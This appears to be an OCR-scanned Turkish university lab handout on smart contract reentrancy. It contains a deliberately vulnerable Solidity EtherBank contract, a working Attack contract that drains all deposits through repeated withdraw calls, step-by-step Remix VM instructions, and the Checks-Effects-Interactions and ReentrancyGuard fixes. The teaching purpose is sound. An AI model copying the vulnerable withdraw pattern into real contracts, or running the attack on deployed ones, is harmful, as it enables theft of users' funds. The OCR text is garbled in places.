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Akill Sozlesme Giivenligi - Reentrancy Saldirisi
Boliim 1: Teorik Altyap: ve Temel Kavramlar
1.1. Deneyin Amaci
Bu laboratuvar ¢alismasinin sonunda, 6grenciler asagidaki yetkinlikleri kazanacaktir:

Akilli s6zlesmenin ne oldugunu tanimlayabilme ve temel 6zelliklerini agiklayabilme.
Blok zinciri ve akilli sdzlesmeler baglaminda giivenligin neden kritik derecede 6nemli oldugunu ifade
edebilme.

e Bir reentrancy (yeniden giris) saldirisinin mekanizmasini, zafiyete yol agan spesifik kodlama desenini
belirleyerek tarif edebilme.

e Remix IDE kullanarak simiile edilmis bir ortamda reentrancy saldirisin1 pratik olarak
gercgeklestirebilme.
Checks-Effects-Interactions (CEI) tasarim desenini uygulayarak reentrancy zafiyetini giderebilme.
Giivenligi saglanmis s6zlesme iizerinde saldirty1 yeniden deneyerek yapilan diizeltmenin etkinligini
dogrulayabilme.

1.2. Blok Zinciri ve Akilh Sozlesmeler

Blok zinciri, en temel tanimiyla, merkezi bir otoriteye ihtiyag duymadan verilerin giivenli bir sekilde
kaydedilmesini saglayan, dagitik ve degistirilemez bir dijital kayit defteridir. Bu teknoloji iizerine insa
edilen en devrimci yeniliklerden biri akilli sézlesmelerdir.

Akilli sézlesmeler, blok zinciri tizerinde saklanan ve dnceden belirlenmis kosullar karsilandiginda otomatik
olarak calisan bilgisayar programlaridir. Temel amagclari, taraflar arasindaki anlasmalar1 ve iglemleri
aracilar olmaksizin otomatiklestirmektir. Bu kavrami somutlastirmak igin sik¢a kullanilan "otomat
makinesi" benzetmesi oldukca yerindedir: Makineye dogru miktarda para atip bir iiriin diigmesine
bastiginizda (kosullar karsilandiginda), makine segtiginiz {iriinii otomatik olarak size verir (anlagma icra
edilir). Akilli sozlesmeler de benzer sekilde, kodlarina yazilmis basit "eger/oldugunda... o zaman..."
mantiksal ifadeleriyle ¢alisir.

Bir akilli sézlesme genellikle su temel bilesenlerden olusur:

e Durum Degiskenleri (State Variables): S6zlesmenin verilerini tutan ve blok zincirinde kalici olarak
saklanan degiskenlerdir.

e Fonksiyonlar (Functions): Belirli gorevleri yerine getiren ve sdzlesmenin mantigini iceren
calistirilabilir kod bloklaridir.

e Olaylar (Events): Sozlesme yiiriitiiliirken dig diinyaya (6rnegin, kullanici arayiizlerine) bilgi vermek
i¢in yayilan kayitlardir.



Akilli s6zlesmelerin en bliylik giicii, aracilart ortadan kaldirarak getirdigi giivene dayali olmayan
otomasyon yetenegidir. Ancak bu gii¢, ayn1 zamanda en biiyiikk zayifligiyla da ayrilmaz bir sekilde
baglantilidir: kodun affetmez dogasi. Geleneksel sistemlerde anlagsmazliklar1 ¢6zmek, hatalart diizeltmek
veya islemleri geri almak i¢in avukatlar, bankalar gibi aracilar bulunur. Akilli sdzlesmeler bu aracilar
ortadan kaldirarak verimlilik, hiz ve seffaflik saglar. Fakat bu durum, herhangi bir denetleyici insan
faktorliniin veya merkezi otoritenin olmadigi anlamina gelir. Blok zincirine bir islem kaydedildiginde, bu
islem nihaidir ve geri dondiiriilemez. Dolayisiyla, verimliligi saglayan denetimsiz otomasyon mekanizmasi,
koddaki basit bir mantik hatasinin aninda ve geri dondiiriilemez sonuglara yol acabilecegi yiiksek riskli bir
ortam yaratir. Bu paradoksu anlamak, akilli sézlesme giivenliginin neden benzersiz ve kritik bir disiplin
oldugunu kavramanin temelidir.

1.3. Neden Akilh Sozlesme Giivenligi Onemlidir?

Akilli sozlesme giivenliginin kritik 6nemini anlamak igin "degistirilemezIlik" (immutability) kavramini
oztimsemek gerekir. Bir akilli sdzlesme blok zincirine dagitildiktan (deploy) sonra, kodu genellikle
degistirilemez veya gilincellenemez. Bu 6zellik, sdzlesmenin dagitildig1 andaki kurallarin herkes icin seffaf
ve sabit kalacagimi garanti eder.

Ancak bu degistirilemezlik, ayn1 zamanda dagitim sonrasi kesfedilen herhangi bir hatanin, zafiyetin veya
mantiksal kusurun kalici olacagi anlamina gelir. Bu sézlesmeler genellikle dijital para birimleri, token'lar
veya gercek diinya varliklarii temsil eden dijital degerler gibi dnemli miktarda finansal varlig1 yonetir.
Degistirilemezlik ve yliksek finansal deger bir araya geldiginde, tek bir yamanamaz hatanin bir saldirgan
tarafindan istismar edilerek sozlesmedeki tiim fonlarin ¢alinmasina yol agabilecegi felaket senaryolari
ortaya cikar. Bu tiir kayiplar geri dondiiriilemez niteliktedir. 2024 yili itibartyla cesitli saldir1 tiirlerinden
kaynaklanan yiiz milyonlarca dolarlik kayiplar, bu riskin ne kadar gergek ve yikict oldugunu
gostermektedir.

Bu durum, akilli sozlesme giivenliginin geleneksel yazilim gelistirmeden temel bir zihniyet farki
gerektirdigini ortaya koyar. Geleneksel web veya mobil uygulama gelistirmede, "hizli hareket et ve bir
seyleri kir" felsefesi yaygindir. Hatalar bulunur, yamalar yayinlanir ve sistem siirekli giincellenir. Bir
hatanin maliyeti genellikle itibar kaybi veya sistemin bir onceki silirime dondiriilmesidir. Akill
sozlesmelerin degistirilemez dogasi, bu "sonra yamalariz" modelini tamamen gecersiz kilar. Guivenlik,
sonradan eklenecek bir 6zellik degil, dagitim Oncesi saglanmasi gereken varolussal bir zorunluluktur. Bu
nedenle, titiz kodlama pratikleri, kapsamli testler ve liglincii taraf giivenlik denetimleri, affi olmayan bu
ortamda bir likks degil, mutlak bir gerekliliktir.

1.4. Odak Zafiyet: Reentrancy Saldirisi

Bu laboratuvar ¢calismasinda odaklanacagimiz zafiyet, akilli sozlesme diinyasinin en bilinen ve yikic1 saldirt
tiirlerinden biri olan Reentrancy (Yeniden Giris) saldirisidir. Reentrancy, bir fonksiyonun, baska bir
sOzlesmeye harici bir ¢agr1 yaptiktan sonra, ilk ¢agrinin yiiriitmesi tamamlanmadan "yeniden girilerek"
tekrar ¢alistirilmasi durumudur.

Zafiyetin temelindeki mantiksal kusur, operasyonlarin yanlis siralanmasidir. Zafiyetli bir sézlesme
genellikle su hatali siray1 izler:

1. Kontrol (Check): Kullanicinin bakiyesini kontrol eder.



2. Etkilesim (Interact): Kullaniciya Ether gibi bir deger gonderir (harici ¢agri).
3. Etki (Effect): Kullanicinin bakiyesini kendi kayitlarinda giinceller.

Bu siralama tehlikelidir ¢iinkii kontrol akisi, s6zlesmenin kendi durumu giincellenmeden 6nce potansiyel
olarak kotii niyetli harici bir sozlesmeye devredilir. Saldirgan, Ether'i almak i¢in 6zel olarak tasarlanmis bir
sozlesme kullanir. Bu saldirgan s6zlesmesinin receive() veya fallback() adi verilen 6zel bir fonksiyonu
vardir. Bu fonksiyon, sézlesme Ether aldiginda otomatik olarak tetiklenir ve i¢ine, kurban s6zlesmenin para
cekme fonksiyonunu tekrar cagiran kotii niyetli kod yerlestirilir. Kurban soézlesme heniiz saldirganin
bakiyesini sifirlamadigi i¢in, her yeniden giris ¢agrisi bakiye kontroliinii geger ve saldirgan, sézlesmedeki
tiim fonlar tikkenene kadar tekrar tekrar para geker.

Bu zafiyetin ne kadar ciddi oldugunu anlamak i¢in 2016 yilinda yasanan "The DAO Hack" olayma bakmak
yeterlidir. Bu olayda, bir reentrancy zafiyeti kullanilarak o donemin parasiyla milyonlarca dolar degerinde
ETH calinmis ve bu durum, tiim Ethereum blok zincirinin ¢atallanarak (hard fork) Ethereum ve Ethereum
Classic olarak ikiye ayrilmasina neden olmustur.

Reentrancy saldirisi, siber giivenlik egitimine giris i¢in ideal bir konudur. Ciinkii bu saldiri, karmasik bir
kriptografik veya protokol seviyesinde bir agiktan ziyade, program akigindaki basit, insan yapimi bir mantik
hatasindan kaynaklanir. Bu durum, onu hem anlasilmasi kolay hem de disiplinli kodlama desenlerinin
Oonemini vurgulayan giiclii bir ders haline getirir. Geleneksel bir banka islemini diisiinlin: Kasiyerin,
kasadaki kaydi giincellemeden dnce miisteriye para iistiinii vermesi gibidir. Bu basit mantik hatasinin, akillt
sozlesmelerin degistirilemez diinyasinda ne kadar yikici sonuglar dogurabilecegini gostermesi, onu
miilkemmel bir pedagojik arag yapar.

Boliim 2: Deney Ortaminin Hazirlanmasi: Remix IDE
2.1. Remix IDE'ye Genel Bakis

Remix, akilli sézlesmeleri dogrudan tarayicinizda yazmaniza, derlemenize, dagitmaniza ve test etmenize
olanak tantyan, kurulum gerektirmeyen giiglii bir Entegre Gelistirme Ortamidir (IDE). Ozellikle egitim
amagli kullanim i¢in idealdir. Remix arayiizii {i¢ ana bdliimden olusur:

e File Explorer (Dosya Gezgini): Solidity kaynak kodu dosyalarinizi (.sol uzantili) olusturdugunuz ve
yoOnettiginiz alandir.

e Solidity Compiler (Solidity Derleyicisi): Yazdiginiz Solidity kodunu Ethereum Sanal Makinesi'nin
(EVM) anlayabilecegi bytecode'a doniistlirdiigiiniiz bolimdiir. Kodunuzdaki pragma ifadesiyle
uyumlu bir derleyici siiriimii segmek 6nemlidir.

e Deploy & Run Transactions (Dagit ve islemleri Cahstir): Derlenmis sozlesmelerinizi bir blok
zincirine dagittiginiz ve dagitilan s6zlesmenin fonksiyonlariyla etkilesime gectiginiz paneldir.

2.2. Sanal Makine (Remix VM) Kurulumu

Bu deney i¢in, ger¢ek bir blok zinciri agma baglanmak yerine Remix'in kendi sanal blok zincirini
kullanacagiz. Bu, herhangi bir iicret 6demeden ve risk almadan giivenli bir sekilde test yapmamizi saglar.

"Deploy & Run Transactions" paneline gidin ve en tistteki ENVIRONMENT agilir meniisiinden ""Remix
VM (Shanghai)" (veya benzer bir VM secenegi) segenegini belirleyin. Bu, tamamen tarayicinizin iginde
caligan, test amagli simiile edilmis bir blok zinciri ortami1 baslatir.



Bu ortam segildiginde, hemen altindaki ACCOUNT agilir meniisiinde, her biri 100 sahte Ether ile 6nceden
finanse edilmis birkac test hesab1 goreceksiniz. Bu, clizdan kurma veya test aglarindan token talep etme
gibi ek adimlara gerek kalmadan deneye hemen baglamanizi saglar.

Boliim 3: Uygulama: Bir Reentrancy Saldirisinin Adim Adim Gerceklestirilmesi

Bu bdliimde, zafiyetli bir banka s6zlesmesi olusturacak, bir saldirgan sézlesmesi yazacak ve bu sdzlesmeyi
kullanarak bankadaki tiim fonlar1 ¢alacagiz.

3.1. Adim 1: Zafiyetli Banka Sozlesmesi (Victim Contract)

Asagida, reentrancy zafiyeti iceren basit bir banka sozlesmesi olan EtherBank'in kodu bulunmaktadir. Bu
sozlesme, kullanicilarin Ether yatirmasina ve ¢ekmesine olanak tanir.

EtherBank.sol

// SPDX-License-Identifier: MIT
pragma solidity *0.8.18;
contract EtherBank {
// Her kullanicinin bakiyesini saklayan bir harita (mapping).
// Bir adresin ne kadar Ether yatirdigini takip eden bir defter gibi diisliniilebilir.
mapping(address => uint) public balances;
// Kullanicilarin sézlesmeye Ether yatirmasini saglayan fonksiyon.
// 'payable' anahtar kelimesi, bu fonksiyonun Ether alabilecegini belirtir.
function deposit() public payable {
balances[msg.sender] += msg.value;
§
// Kullanicilarin yatirdiklar1 Ether'i gekmelerini saglayan fonksiyon.
// BU FONKSIYON REENTRANCY ZAFIiYETI ICERMEKTEDIR.
function withdraw() public {
uint amount = balances[msg.sender];
// 1. Kontrol: Kullanicinin ¢ekilecek bir bakiyesi var m1?
require(amount > 0, "Cekilecek bakiye yok.");
// 2. Etkilesim (TEHLIKELI!): Bakiye giincellenmeden énce Ether gonderiliyor.
// Bu, saldirganin kontrolii ele alip bu fonksiyona yeniden girmesine olanak tanir.
(bool sent, ) = msg.sender.call {value: amount}("");
require(sent, "Gonderim basarisiz.");
// 3. Etki (COK GEC!): Bakiye, Ether gonderildikten sonra giincelleniyor.
// Saldir1 gergeklestiginde bu satira gelinene kadar sdzlesme zaten bosaltilmis olur.
balances[msg.sender] = 0;
b
/] S6zlesmenin toplam bakiyesini dondiiren yardimci fonksiyon.
function getBalance() public view returns (uint) {
return address(this).balance;
h
b



3.2. Adim 2: Saldirgan Sozlesmesi (Attacker Contract)

Simdi, EtherBank sozlesmesindeki zafiyeti istismar etmek icin tasarlanmis Attack sdzlesmesini yazalim.
Bu so6zlesme, bankaya kiigiik bir miktar para yatiracak ve ardindan withdraw fonksiyonunu tekrar tekrar
cagirarak tiim fonlar1 ¢cekecektir.

Attack.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
// Kurban sdzlesmenin arayiiziinii import ediyoruz.
import "./EtherBank.sol";
contract Attack {
// Kurban banka s6zlesmesinin adresi.
EtherBank public etherBank;
// Saldirgan s6zlesme dagitilirken kurban bankanin adresini alir.
constructor(address _etherBankAddress) {
etherBank = EtherBank(_etherBankAddress);
¥
// Saldiriy1 baglatan ana fonksiyon.
function attack() public payable {
//'1. Adim: Bankaya kiigiik bir miktar (1 Ether) yatirarak mesru bir kullanici gibi goriin.
etherBank.deposit{value: 1 ether}();
// 2. Adim: Para ¢ekme islemini baslat. Bu, reentrancy dongiisiinii tetikleyecektir.
etherBank.withdraw();
}
// Bu 6zel 'receive' fonksiyonu, bu sézlesmeye Ether génderildiginde OTOMATIK olarak calisir.
// Reentrancy saldirisinin kalbi burasidir.
receive() external payable {
// Bankada hala ¢ekilecek para varsa (1 Ether'den fazla),
// withdraw fonksiyonunu tekrar gagir.
if (etherBank.getBalance() > 0) {
etherBank.withdraw();

H
H

// Saldirgan s6zlesmenin bakiyesini kontrol etmek i¢in yardimci fonksiyon.
function getBalance() public view returns (uint) {
return address(this).balance;

b
}

3.3. Adim 3: Saldirinin Simiilasyonu
Asagidaki adimlar1 Remix IDE'de dikkatlice izleyerek saldiriy1 gergeklestirelim.

1. Dosyalar1 Olusturma: Remix'in "File Explorer" panelinde EtherBank.sol ve Attack.sol adinda iki
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yeni dosya olusturun ve yukaridaki kodlar1 ilgili dosyalara yapistirin.
Banka Sozlesmesini Derleme ve Dagitma:

o "Solidity Compiler" paneline gidin. EtherBank.sol dosyasinin se¢ili oldugundan emin olun ve
"Compile EtherBank.sol" diigmesine tiklaym. Panelde yesil bir onay isareti gérmelisiniz.

o "Deploy & Run Transactions" paneline gegin. CONTRACT agilir meniisiinden EtherBank'in
secili oldugundan emin olun ve "Deploy" diigmesine tiklayin. Asagida, "Deployed Contracts"
altinda EtherBank 6rnegini géreceksiniz.

Bankay1 Fonlama:

o  ACCOUNT agilir meniistinden ilk hesab1 (Account 1) se¢in.

o EtherBank s6zlesme panelinde, VALUE alanina 10 yazin ve yanindaki birim mentiisiinden
"Ether" se¢in. deposit diigmesine tiklayin.

ACCOUNT meniisiinden ikinci hesab1 (Account 2) segin.
VALUE alanina 5 yazin, "Ether" se¢in ve tekrar deposit diigmesine tiklayin.
Simdi getBalance diigmesine tiklayarak bankanin toplam bakiyesinin 15 Ether oldugunu
dogrulayn.
Saldirgan Sozlesmesini Derleme ve Dagitma:

o "Solidity Compiler" paneline doniin ve Attack.sol dosyasini derleyin.

o "Deploy & Run Transactions" paneline geri doniin. CONTRACT meniistinden Attack segin.

o "Deployed Contracts" altindaki EtherBank adresini kopyalayin (kopyala simgesine tiklayarak).

o Bu adresi, Attack s6zlesmesinin "Deploy" diigmesinin yanindaki metin alanina yapistirin. Bu,
saldirgan s6zlesmenin hangi bankay1 hedef alacagini bilmesini saglar.

o  ACCOUNT meniisiinden tiglincli hesabi (Account 3) secin ve "Deploy" diigmesine tiklayin.

Saldiriy1 Gerceklestirme:

o "Deployed Contracts" altinda yeni olusturulan Attack sdzlesmesini bulun.

o VALUE alanina 1 yazin ve "Ether" secin.

o  Turuncu renkli attack diigmesine tiklayin.

Sonuclar1 Gézlemleme:

o Islem tamamlandiginda, EtherBank sézlesmesindeki getBalance diigmesine tekrar tiklayin.
Bakiyenin 0 oldugunu géreceksiniz.

o Attack sozlesmesindeki getBalance diigmesine tiklayin. Bakiyenin 16 Ether oldugunu
goreceksiniz (diger kullanicilardan ¢alinan 15 Ether + kendi yatirdigi 1 Ether).

o Saldir1 basariyla tamamlandi ve bankadaki tiim fonlar ¢alindi.

Boliim 4: Zafiyetin Giderilmesi ve Giivenli Kodlama Pratikleri

4.1. Coziim Yontemi: Checks-Effects-Interactions (CEI) Prensibi

Reentrancy saldirilarina karsit en temel ve etkili savunma, Checks-Effects-Interactions (CEI) olarak

bilinen tasarim desenini uygulamaktir. Bu desen, bir fonksiyondaki islemlerin belirli bir sirada yapilmasini
zorunlu kilar:

1.

Checks (Kontroller): ilk olarak, fonksiyonun yiiriitiilmesi icin gerekli tiim dogrulamalar ve
kontroller yapilir. require() ifadeleriyle kullanic1 bakiyeleri, izinler, girdilerin gegerliligi gibi kosullar
kontrol edilir.
Effects (Etkiler): Tiim kontroller basarili olursa, s6zlesmenin durum degiskenleri lizerinde yapilacak
tim degisiklikler uygulanir. Bizim 6rnegimizde bu, para ¢ekme miktarinin kullanicinin balances



haritasindaki bakiyesinden diistilmesi anlamina gelir.
3. Interactions (Etkilesimler): Yalnizca sozlesmenin i¢ durumu tamamen giincellendikten sonra, diger
sozlesmelerle etkilesime gegilir veya dis diinyaya Ether gonderilir.

Bu siralama, harici ¢agri yapildigi anda s6zlesmenin i¢ durumunun zaten tutarli ve giivenli olmasini saglar.
Bu sayede, yeniden giris yapan bir ¢agri artik zararsiz hale gelir, ¢iinkii glincellenmis durum (6rnegin,
sifirlanmig bakiye) nedeniyle ilk "Check" adimini gegemez.

CEI deseni, yalnizca reentrancy i¢in bir diizeltmeden daha fazlasidir; dogasi geregi diigmanca olan bir
ortamda durum degistiren herhangi bir fonksiyonu yazmak i¢in temel bir "6nce giivenlik" tasarim
felsefesidir. Bu yaklasim, bir gelistiriciyi ¢agirdigi herhangi bir harici sézlesmenin potansiyel olarak kotii
niyetli oldugunu varsaymaya zorlar. Bu nedenle, kendi sézlesmesinin durumunu, ongoriillemeyen ve
potansiyel olarak diismanca olan dis ekosistemle etkilesime ge¢meden once tutarli ve nihai bir forma
kilitlemelidir. Bu felsefe, yalnizca reentrancy'yi degil, ayn1 zamanda karmasik sézlesme etkilesimlerinden
kaynaklanabilecek daha genis bir durum tutarsizlig1 hatalari sinifin1 6nlemeye de yardimci olur.

4.2. Giivenli Kodun Uygulanmasi

Simdi, withdraw fonksiyonunu CEI desenine uyacak sekilde yeniden yazarak SecureEtherBank adinda yeni
ve glivenli bir sdzlesme olusturalim.

Asagidaki tablo, zafiyetli ve glivenli versiyonlar arasindaki kritik farki net bir sekilde gostermektedir.

Zafiyetli withdraw Fonksiyonu (Vulnerable | Giivenli  withdraw  Fonksiyonu (Secure

withdraw Function) withdraw Function - CEI)

// 1. Bakiye kontrolii (Check) // 1. Kontroller (Checks)
require(amount > 0, "..."); require(amount > 0, "...");

// 2. Ether gonderimi (Interact - TEHLIKELI!) // 2. Durum Giincellemesi (Effects)

(bool sent, ) = msg.sender.call {value: amount}(""); | balances[msg.sender]| = 0;

require(sent, "..."); // 3. Dis Etkilesim (Interactions)

/1 3. Bakiye giincellemesi (Effect - COK GEC!) (bool sent, ) = msg.sender.call {value: amount}("");

balances[msg.sender] = 0; require(sent, "...");

SecureEtherBank.sol

// Kodu yaziniz



4.3. Giivenligin Dogrulanmasi

Simdi, Boliim 3.3'teki saldirt simiilasyonunu, kurban sdzlesme olarak SecureEtherBank.sol'u kullanarak
tam olarak tekrarlaym. Saldirinin bu sefer basarisiz oldugunu gozlemleyeceksiniz.

Saldirgan s6zlesme withdraw fonksiyonunu cagirdiginda, SecureEtherBank 6nce saldirganin bakiyesini 0'a
diistirecek ve ardindan 1 Ether gonderecektir. Saldirganin receive() fonksiyonu tetiklenip withdraw'u tekrar
cagirdiginda, require(amount > 0,...) kontrolii basarisiz olacaktir ¢iinkii bakiye artik 0'dir. Sonug olarak,
saldirgan yalmzca kendi yatirdigi 1 Ether'i geri alabilecek ve diger kullanicilarin 15 Ether'i bankada
giivende kalacaktir. Bu, diizeltmenin etkinliginin pratik kanitidir.

4.4. Ek Bir Savunma Hatti: Reentrancy Guard

Gergek diinya projelerinde, glivenlik mantigini sifirdan yazmak yerine, endiistri standardi, denetlenmis
kiitiiphanelerden yararlanmak en iyi pratiktir. Reentrancy'ye karst popiiler bir savunma mekanizmasi
ReentrancyGuard kullanmaktir.

Bu, Solidity'de "modifier" olarak bilinen ve bir fonksiyona eklenerek davranigini degistiren yeniden
kullanilabilir bir kod pargasidir. OpenZeppelin gibi giivenilir kiitiiphaneler tarafindan saglanan
nonReentrant degistiricisi, bir kilit mekanizmasi gibi c¢alisir. Bir fonksiyonun basma eklendiginde,
fonksiyonun yiiriitilmeye baglandigini belirten bir bayragi (6rnegin, locked = true) ayarlar ve fonksiyon
bittiginde bayragi geri (locked = false) alir. Bu sirada fonksiyona yeniden girilmeye caligilirsa, kilitli
bayragi goriir ve islemi reddeder. OpenZeppelin, giivenli ve denetlenmis akilli sézlesme bilesenleri i¢in
altin standart olarak kabul edilir.

nonReentrant degistiricisinin kullanimi1 asagidaki gibidir:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBankWithGuard is ReentrancyGuard {
//...diger kodlar...
// nonReentrant degistiricisi bu fonksiyonu yeniden girig saldirilarina karsi korur.
function withdraw() public nonReentrant {
//...para gekme mantigi...

H
H

Boliim 5: Degerlendirme ve Sonug
5.1. Deneyin Ozeti

Bu laboratuvar calismasinda, akilli s6zlesmelerin degistirilemez dogasimin getirdigi giic ve tehlikeler
incelendi. Reentrancy saldirisinin basit ama yikict mantigi, operasyonlarin yanlis siralanmasindan nasil
kaynaklandigi pratik olarak gosterildi. Son olarak, bu zafiyeti 6nlemek i¢in temel bir savunma programlama
teknigi olan Checks-Effects-Interactions (CEI) deseninin etkinligi kanitland1 ve ReentrancyGuard gibi
endiistri standardi ¢oztimlere bir giris yapildi.



5.2. Rapor Sorularn

1.

N

Kendi kelimelerinizle, bir akilli sézlesmede durumu harici bir ¢agridan sonra giincellemenin neden
tehlikeli oldugunu aciklaymiz.

Olusturdugumuz Attack s6zlesmesinde receive() (veya fallback()) fonksiyonunun rolii nedir?
Reentrancy disinda potansiyel bir akilli sozlesme zafiyeti daha adlandirin ve kisaca aciklayin. (Orn:
Tamsay1 Tagmasi/Azalmasi (Integer Overflow/Underflow)).

Gergek bir projede, OpenZeppelinin ReentrancyGuard't gibi iyi denetlenmis bir kiitliphane
kullanmak, kendi giivenlik mantiginiz1 sifirdan yazmaktan neden genellikle daha iyi bir yaklagimdir?
"Salt okunur reentrancy" (read-only reentrancy) saldirisi nedir ve bu laboratuvarda
gergeklestirdigimiz fon ¢alma saldirisindan ne gibi farklari olabilir?



